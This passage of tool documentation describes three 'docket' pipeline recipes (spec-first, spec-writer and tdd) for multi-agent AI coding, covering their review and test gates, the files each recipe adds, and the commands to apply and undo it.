What docket's gates make structural: approve-spec is a real verdict gate — a Critic's REJECT sends the task back to spec (bounded to one rework cycle), and build cannot run until that gate passes APPROVE. The Reviewer's own APPROVE/REQUEST-CHANGES gate after build is a separate, independent gate: an approved spec does not itself excuse a bad diff.

Apply it

For a new pod, or onto one that already has its lead and implementer:

docket init --recipe spec-first          # a new pod for the current repository
docket pod <project> apply spec-first    # onto an existing pod

pod.yaml names the three members this recipe adds (writer, critic, reviewer); apply validates the roster and pipeline.yaml before writing anything, and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing.

Files

  • pod.yaml — what apply reads: kind: pod, name: spec-first, members: [writer, critic, reviewer].
  • pipeline.yaml — spec (Writer drafts the specification) -> approve-spec (Critic, APPROVE/REJECT verdict, rework -> spec, maxCycles 1) -> build (Implementer, gated on its own verify command) -> review (Reviewer, APPROVE/REQUEST-CHANGES verdict, rework -> build, maxCycles 1).
  • skills/writing-a-spec/SKILL.md -- the shape of a spec a Critic can approve and an Implementer can build from; listed in the prompt, read on demand with the skill tool.

Undo

docket pod <project> config unset pipeline
docket pod <project> remove <project>-writer
docket pod <project> remove <project>-critic
docket pod <project> remove <project>-reviewer

spec-writer

Tests from the brief as a two-step pipeline on two different models: one writes failing tests, the other makes them pass. Needs both providers' credentials (ANTHROPIC_API_KEY and OPENAI_API_KEY).

Brings: pipeline spec-writer. Summary line: roles 0 · policies 0 · members 0 · pipeline spec-writer · plugins 0 · skills 0 · settings 0

docket init --recipe spec-writer
docket pod <project> apply spec-writer

Practice: test-driven implementation where a different model writes the tests.

Source idea: write the tests first, from the brief alone, with one model; then implement against them with another. A model that writes both the tests and the code can make them agree with each other instead of with the brief.

What docket's gates make structural: the write-tests step runs before the Implementer and is briefed separately to write failing tests from the brief alone. The implementation step is gated on verify: true (the Implementer's own verify command), so tests must pass to proceed. The two steps pin different models (openai/gpt-4.1-mini writes the tests, anthropic/claude-sonnet-4-6 implements), whatever the pod's default or any docket models set pin. Set ANTHROPIC_API_KEY and OPENAI_API_KEY (environment or secrets.json) first. To check that the new tests really fail on the base, add the anti-tautology recipe's step.

Apply it

For a new pod, or onto one that already has its lead and implementer:

docket init --recipe spec-writer          # a new pod for the current repository
docket pod <project> apply spec-writer    # onto an existing pod

pod.yaml carries a description only (the recipe adds no new members or settings); apply validates the pipeline before writing anything, and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing.

Files

  • pod.yaml — what apply reads: kind: pod, name: spec-writer, description.
  • pipeline.yaml — write-tests (Implementer role, model: openai/gpt-4.1-mini, test-writing instructions) -> build (Implementer, model: anthropic/claude-sonnet-4-6, gated on its own verify command).

Undo

docket pod <project> config unset pipeline

tdd

Test-driven development as a pipeline: a failing test is written and mechanically confirmed to fail before any implementation exists.

Brings: 1 member, 1 skill, pipeline tdd. Summary line: roles 0 · policies 0 · members 1 · pipeline tdd · plugins 0 · skills 1 · settings 0

docket init --recipe tdd
docket pod <project> apply tdd

Practice: test-driven development (red -> green -> refactor).

Source idea: write a failing test first, then the smallest change that makes it pass (Kent Beck's red-green-refactor cycle).

What docket's gates make structural: check-red is not advice — it is a run command step that actually executes the test suite and fails the whole task if the new test does not fail, so an Implementer cannot skip "red" and go straight to "green". green's own verify command is a second, independent mechanical gate, and the Tester's PASS/FAIL verdict is a third; nothing here counts as done on an agent's own say-so.

Apply it

For a new pod, or onto one that already has its lead and implementer:

docket init --recipe tdd          # a new pod for the current repository
docket pod <project> apply tdd    # onto an existing pod

pod.yaml names the one member this recipe adds (tester); apply validates the roster and pipeline.yaml before writing anything, and is safe to run again (a second run plans every item skip). --dry-run prints the plan without writing.

Files

  • pod.yaml — what apply reads: kind: pod, name: tdd, members: [tester].
  • pipeline.yaml — red (Implementer writes exactly one failing test) -> check-red (a run command step, routed on: {pass: fail, fail: green} so the task fails outright if the new test does not actually fail) -> green (Implementer, gated on its own verify command) -> test (Tester, PASS/FAIL verdict). check-red's command is the literal python3 -m pytest -q — the pipeline format's run field carries no ${var}-style interpolation (only a step's instructions does), so edit this line by hand if the project's test runner is something else.
  • skills/test-first/SKILL.md -- how to write the one failing test and make it pass without widening scope; listed in the prompt, read on demand with the skill tool.

Undo

docket pod <project> config unset pipeline
docket pod <project> remove <project>-tester